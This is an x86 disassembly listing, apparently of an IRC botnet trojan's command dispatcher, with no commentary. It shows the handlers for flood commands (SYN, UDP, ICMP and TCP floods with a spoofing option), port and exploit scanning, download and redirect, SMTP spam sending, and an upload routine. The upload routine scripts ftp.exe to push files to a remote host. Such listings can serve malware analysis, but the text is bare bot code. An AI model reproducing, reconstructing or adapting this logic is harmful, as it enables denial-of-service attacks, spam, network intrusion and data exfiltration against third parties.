		lea	eax, [ebp+var_2C0]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B691
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset sub_414F53
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_406A0A
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441DB8
		jmp	loc_404014
; ---------------------------------------------------------------------------

loc_406A02:				; CODE XREF: sub_401C87+4D89j
		push	32h
		call	dword_4F534C	; Sleep

loc_406A0A:				; CODE XREF: sub_401C87+4D68j
		cmp	[ebp+var_3070],	ebx
		jz	short loc_406A02
		jmp	loc_404023
; ---------------------------------------------------------------------------

loc_406A17:				; CODE XREF: sub_401C87+4CBEj
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DE
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080DE
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406B43
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_36A8],	esi
		push	offset dword_441E10
		push	eax
		call	sub_41EA60
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	10h
		push	eax
		call	sub_40B691
		add	esp, 0Ch
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset sub_413ECE
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_406B36
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_441E40
		jmp	loc_4082A3
; ---------------------------------------------------------------------------

loc_406B2E:				; CODE XREF: sub_401C87+4EB5j
		push	32h
		call	dword_4F534C	; Sleep

loc_406B36:				; CODE XREF: sub_401C87+4E94j
		cmp	[ebp+var_3498],	ebx
		jz	short loc_406B2E
		jmp	loc_4082B2
; ---------------------------------------------------------------------------

loc_406B43:				; CODE XREF: sub_401C87+4DCFj
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FF7
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FF7
		push	[ebp+arg_8]
		push	offset aDownload32111 ;	"download32111"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBD
		push	[ebp+arg_8]
		push	offset aD32111	; "d32111"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EBD
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DC4
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407DC4
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CD2
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CD2
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BF5
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BF5
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407ADB
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407ADB
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_4076C4
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D6
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4079D6
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074D3
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4074D3
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073B4
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073B4
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4073B4
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407172
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407172
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407172
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FAE
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406FAE
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406F56
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41F620
		push	edi
		call	sub_41E710
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41F620
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41F620
		push	offset asc_441F4E ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_7C]
		call	sub_4189CD
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41F620
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4E2FF8	; WSAStartup
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4E310C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4E3108	; socket
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4E3088	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4E3030	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4E30A0	; recv
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4E30D8	; send
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4E30A0	; recv
		push	esi
		call	dword_4E3120	; closesocket
		call	dword_4E2FE0	; WSACleanup
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_441FA4

loc_406F0F:				; CODE XREF: sub_401C87+2E78j
					; sub_401C87+671Cj ...
		lea	eax, [ebp+var_2C0]

loc_406F15:				; CODE XREF: sub_401C87+6A21j
		push	eax
		call	sub_41EA60

loc_406F1B:				; CODE XREF: sub_401C87+243Fj
		add	esp, 0Ch

loc_406F1E:				; CODE XREF: sub_401C87+4564j
					; sub_401C87+45BCj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406F3F
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_406F3F:				; CODE XREF: sub_401C87+2987j
					; sub_401C87+299Cj ...
		mov	esi, [ebp+arg_24]

loc_406F42:				; CODE XREF: sub_401C87+90Fj
					; sub_401C87+7978j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		pop	ecx
		mov	eax, esi
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_406F56:				; CODE XREF: sub_401C87+5132j
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406F80
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407523

loc_406F80:				; CODE XREF: sub_401C87+52E0j
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4109F3
		jmp	loc_409A64
; ---------------------------------------------------------------------------

loc_406FAE:				; CODE XREF: sub_401C87+5104j
					; sub_401C87+511Bj
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn_0	; "syn"
		call	sub_41F7E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_407013
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407013
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407013
		push	offset unk_441FE8
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_407013:				; CODE XREF: sub_401C87+5352j
					; sub_401C87+5369j ...
		push	[ebp+arg_18]
		call	sub_41E710
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_407135
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41EC30
		push	edi
		lea	eax, [ebp+var_13D4]
		push	esi
		push	eax
		call	sub_41EC30
		push	[ebp+arg_0]
		call	sub_41E710
		mov	[ebp+var_1250],	eax
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_4070AA
		mov	eax, offset aNormal ; "Normal"

loc_4070AA:				; CODE XREF: sub_401C87+541Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_442024
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41EC30
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	14h
		push	eax
		call	sub_40B691
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset sub_4146C8
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_40712B
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442058
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_407123:				; CODE XREF: sub_401C87+54AAj
		push	32h
		call	dword_4F534C	; Sleep

loc_40712B:				; CODE XREF: sub_401C87+5489j
		cmp	[ebp+var_123C],	ebx
		jz	short loc_407123
		jmp	short loc_407148
; ---------------------------------------------------------------------------

loc_407135:				; CODE XREF: sub_401C87+539Dj
		push	offset unk_442090

loc_40713A:				; CODE XREF: sub_401C87+1FC5j
					; sub_401C87+1FDBj ...
		lea	eax, [ebp+var_2C0]

loc_407140:				; CODE XREF: sub_401C87+4316j
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_407148:				; CODE XREF: sub_401C87+20F6j
					; sub_401C87+25C3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402593
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_407165:				; CODE XREF: sub_401C87+23B5j
		call	sub_409C75
		add	esp, 14h
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_407172:				; CODE XREF: sub_401C87+50BFj
					; sub_401C87+50D6j ...
		cmp	dword_4E3174, ebx
		jnz	loc_40727D
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41E510
		push	edi
		call	sub_41E710
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41E710
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41E710
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41E510
		push	[ebp+var_1004]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_100C]
		push	offset unk_4420C8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	16h
		push	eax
		call	sub_40B691
		add	esp, 48h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset sub_413B2B
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_407270
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442110
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_407268:				; CODE XREF: sub_401C87+55EFj
		push	32h
		call	dword_4F534C	; Sleep

loc_407270:				; CODE XREF: sub_401C87+55CEj
		cmp	[ebp+var_FF0], ebx
		jz	short loc_407268
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_40727D:				; CODE XREF: sub_401C87+54F1j
		push	1FFh
		lea	eax, [ebp+var_2C0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41E510
		jmp	loc_40619C
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401C87+5091j
					; sub_401C87+50A8j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_442160
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		push	[ebp+arg_0]
		call	sub_41BC70
		push	edi
		mov	[ebp+arg_20], eax
		call	sub_41BC70
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_10]
		add	ecx, eax
		mov	[ebp+arg_20], ecx
		call	sub_41BC70
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_8]
		add	ecx, eax
		mov	[ebp+arg_20], ecx
		call	sub_41BC70
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_20]
		push	[ebp+arg_18]
		lea	eax, [eax+ecx+7]
		push	eax
		call	sub_41EBB0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41E710
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_4073A0

loc_407329:				; CODE XREF: sub_401C87+56C6j
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_419229
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_407351
		cmp	eax, ebx
		jnz	short loc_407370
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_407329
		jmp	short loc_4073A9
; ---------------------------------------------------------------------------

loc_407351:				; CODE XREF: sub_401C87+56B7j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_44219C

loc_40735A:				; CODE XREF: sub_401C87+572Bj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h
		jmp	loc_407523
; ---------------------------------------------------------------------------

loc_407370:				; CODE XREF: sub_401C87+56BBj
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C0]
		push	offset unk_4421D4
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 20h

loc_4073A0:				; CODE XREF: sub_401C87+56A0j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_407523

loc_4073A9:				; CODE XREF: sub_401C87+56C8j
		push	ebx
		push	[ebp+var_4]
		push	offset unk_442208
		jmp	short loc_40735A
; ---------------------------------------------------------------------------

loc_4073B4:				; CODE XREF: sub_401C87+504Cj
					; sub_401C87+5063j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41E510
		push	edi
		call	sub_41E710
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41E710
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41E710
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_407419
		push	esi
		call	sub_41E710
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_40741F
; ---------------------------------------------------------------------------

loc_407419:				; CODE XREF: sub_401C87+5781j
		mov	[ebp+var_C70], ebx

loc_40741F:				; CODE XREF: sub_401C87+5790j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		push	[ebp+var_C74]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_C7C]
		push	offset unk_442240
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	17h
		push	eax
		call	sub_40B691
		add	esp, 30h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset sub_413CB7
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4074C6
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442288
		jmp	loc_4082A3
; ---------------------------------------------------------------------------

loc_4074BE:				; CODE XREF: sub_401C87+5845j
		push	32h
		call	dword_4F534C	; Sleep

loc_4074C6:				; CODE XREF: sub_401C87+5824j
		cmp	[ebp+var_C60], ebx
		jz	short loc_4074BE
		jmp	loc_4082B2
; ---------------------------------------------------------------------------

loc_4074D3:				; CODE XREF: sub_401C87+501Ej
					; sub_401C87+5035j
		push	0Bh
		call	sub_40B8D3
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41E710
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_4076CC
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C0]
		push	offset unk_4422C0
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 20h

loc_407523:				; CODE XREF: sub_401C87+52F3j
					; sub_401C87+56E4j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_4076C4
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409A67
		push	4
		push	esi
		call	sub_417264
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40759B
		push	esi
		push	offset unk_442308

loc_40755A:				; CODE XREF: sub_401C87+7BD8j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_407569:				; CODE XREF: sub_401C87+7285j
					; sub_401C87+7BF0j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40758A
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_407582:				; CODE XREF: sub_401C87+6EB6j
		call	sub_409C75
		add	esp, 14h

loc_40758A:				; CODE XREF: sub_401C87+26D0j
					; sub_401C87+26E5j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		jmp	loc_402213
; ---------------------------------------------------------------------------

loc_40759B:				; CODE XREF: sub_401C87+58CBj
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		call	sub_41EB70
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41EB70
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41EB70
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41E490
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_4076C4
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41F4E0
		push	[ebp+arg_24]
		call	sub_41BCF0
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_0	; "-s:%s"
		push	eax
		call	sub_41EA60
		add	esp, 2Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_0	; "open"
		push	ebx
		call	dword_4E2FF4
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_407667
		push	offset unk_442378
		jmp	short loc_40766C
; ---------------------------------------------------------------------------

loc_407667:				; CODE XREF: sub_401C87+59D7j
		push	offset unk_4423A0

loc_40766C:				; CODE XREF: sub_401C87+59DEj
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407695
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_407695:				; CODE XREF: sub_401C87+59F0j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------

loc_4076A3:				; CODE XREF: sub_401C87+5A3Bj
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41F470

loc_4076AF:				; CODE XREF: sub_401C87+5A1Aj
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_417264
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4076A3

loc_4076C4:				; CODE XREF: sub_401C87+5Bj
					; sub_401C87+392j ...
		xor	eax, eax
		inc	eax
		jmp	loc_409C2A
; ---------------------------------------------------------------------------

loc_4076CC:				; CODE XREF: sub_401C87+5866j
		push	[ebp+arg_10]
		call	sub_41E710
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41E710
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41E710
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_407705
		push	5
		pop	eax
		mov	[ebp+var_36C], eax

loc_407705:				; CODE XREF: sub_401C87+5A73j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407712
		mov	[ebp+var_36C], ecx

loc_407712:				; CODE XREF: sub_401C87+5A83j
		push	[ebp+arg_18]
		call	sub_41E710
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_407734
		mov	[ebp+var_368], eax

loc_407734:				; CODE XREF: sub_401C87+5AA5j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_448210, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_407783
		mov	edi, offset dword_448210

loc_40774B:				; CODE XREF: sub_401C87+5ADEj
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407769
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40774B
		jmp	short loc_407783
; ---------------------------------------------------------------------------

loc_407769:				; CODE XREF: sub_401C87+5AD4j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_448210[ecx]
		mov	[ebp+var_370], ecx

loc_407783:				; CODE XREF: sub_401C87+5ABDj
					; sub_401C87+5AE0j
		cmp	[ebp+var_370], ebx
		jnz	short loc_407795
		push	offset unk_4423D0
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_407795:				; CODE XREF: sub_401C87+5B02j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_4077D0
		cmp	byte ptr [edi],	23h
		jz	short loc_4077D0
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41EC30
		push	78h
		push	edi
		call	sub_41F720
		add	esp, 14h
		neg	eax
